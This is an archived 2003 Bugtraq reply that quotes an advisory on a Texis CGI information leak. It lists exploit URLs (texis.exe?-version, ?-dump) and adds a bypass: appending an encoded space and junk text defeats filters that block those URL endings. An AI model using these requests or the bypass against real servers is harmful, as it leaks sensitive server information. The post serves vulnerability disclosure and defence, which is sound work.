|
|
|
|
|
|
|
|
|
|
|
|
| home | help | back | first | fref | pref | prev | next | nref | lref | last | post |
Message-ID: <004201c2eaae$9cc747b0$1400020a@chaser> Reply-To: "Kurt Seifried" <kurt@seifried.org> From: "Kurt Seifried" <kurt@seifried.org> To: <bugtraq@securityfocus.com>, <sir.mordred@hushmail.com> Date: Fri, 14 Mar 2003 20:51:59 -0800 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit > //@(#) Mordred Security Labs advisory > > Release date: March 15, 2003 > Name: Texis sensitive information leak > Versions affected: all versions > Risk: average > Author: Sir Mordred (mordred@s-mail.com, http://mslabs.iwebland.com) > III. Exploit: > > http://victim.com/texis.exe/?-version > http://victim.com/texis.exe/?-dump Please note that simply blocking URL's ending in "?-dump" and "?-version" won't work. You can append a space and additional text, such as: http://www.example.org/cgi-bin/texis.exe?-dump%20kjshkjhskjsh.html I didn't bother to test any other special characters or encoding (i.e. UNICODE), I suspect there may be other ones that can be used. Kurt Seifried, kurt@seifried.org A15B BEE5 B391 B9AD B0EF AEB0 AD63 0B4E AD56 E574 http://seifried.org/security/
|
|
|
|
|
|
|
|
|
|
|
|
| home | help | back | first | fref | pref | prev | next | nref | lref | last | post |